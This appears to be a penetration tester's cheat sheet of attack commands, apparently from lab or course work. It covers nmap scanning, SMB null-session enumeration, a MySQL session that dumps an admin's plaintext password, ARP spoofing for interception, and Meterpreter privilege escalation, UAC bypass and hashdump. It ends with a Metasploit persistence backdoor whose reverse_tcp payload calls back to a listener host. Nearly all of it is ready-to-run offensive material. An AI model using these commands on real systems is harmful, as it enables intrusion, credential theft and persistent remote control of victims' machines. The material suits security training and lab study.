# OS Detection, no ping
nmap -Pn -O 10.10.10.10
# def scripts, version check
nmap -sC -sV 10.10.10.10
# above + All ports
nmap -sC -sV -p- 10.10.10.10
# UDP version check
nmap -sU -sV 10.10.10.10
#Syn scan, Version Scan, Os Detection, Aggressive,Port scan only.
sudo nmap -sS -sV -O -A -Pn 172.16.64.182,199 > nmap.txt
#checke for vulnerability using scripts
nmap --script=vuln -A 172.16.64.182,199 > nmap.txt
nbtscan -A 10.10.10.10
net view 10.10.10.10
# c$ - shares in c drive
# admin$ - windows install directory
# ipc$ - inter process use (not viewable on browser)
# using no user/pass login
net use \\10.10.10.10\IPC$ '' /u:''
# The command completed successfully.
net use \\10.10.10.10\ADMIN$ '' /u:
# System error 5 has occurred.
# Access is denied.
# no password mode -N
smbclient -L //10.10.10.10 -N
#Connecting database to site
mysql -u USERNAME -p PASSWORD -h HOST DB
#Selecting Database
use <db_name>
#viewing tables
show tables;
#select the tables
select * from <table_name>
┌──(kali㉿kali)-[~/Downloads]
└─$ mysql -h 10.104.11.198 -u awdmgmt -p 1 ⨯
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 465
Server version: 5.5.38-0+wheezy1 (Debian)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]> use awdmgmt_accounts
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [awdmgmt_accounts]> show tables;
+----------------------------+
| Tables_in_awdmgmt_accounts |
+----------------------------+
| accounts |
+----------------------------+
1 row in set (0.340 sec)
MySQL [awdmgmt_accounts]> select * from accounts;
+----+--------------------+----------+-------------+
| id | email | password | displayname |
+----+--------------------+----------+-------------+
| 1 | admin@awdmgmt.labs | ENS7VvW8 | Admin |
+----+--------------------+----------+-------------+
nmblookup -A 10.10.10.10
smbclient -L //10.10.10.10 -N (list shares)
smbclient //10.10.10.10/share -N (mount share)
enum4linux -a 10.10.10.10
# tells my machine to forward packets incepted to the real desination hosts
echo 1 > /proc/sys/net/ipv4/ip_forward
# arpspoof -i <interface> -t <target> -r <host>
arpspoof -i tap0 -t 10.10.10.10 -r 10.10.10.11
search x
use x
info
show options
show advanced
background
sessions -l
sessions -i 1
sysinfo
ifconfig
route
# get which user is running process
getuid
# privilege escalation ('User Account Control' GPO policy may prevent this)
getsystem
# bypass the restriction of 'User Account Control' GPO policy to privesc
bypassuac
# transfering files
download x /root/
upload x C:\\Windows
# run standard operating system shell
shell
use post/windows/gather/hashdump
# persistent backdoor - need meterpreter session
msf > use exploit/windows/local/s4u_persistence
msf (s4u_persistence) > set session 2
#session => 2
msf (s4u_persistence) > set trigger logon
#trigger => logon
msf (s4u_persistence) > set payload windows/meterpreter/reverse_tcp
msf (s4u_persistence) > set lhost 1.2.3.4
msf (s4u_persistence) > set lport 1234
msf (s4u_persistence) > exploit
msf (s4u_persistence) > use exploit/multi/handler
msf (handler) > set payload windows/meterpreter/reverse_tcp
msf (handler) > exploit
# once victim restarts and logons, we will get a meterpreter shell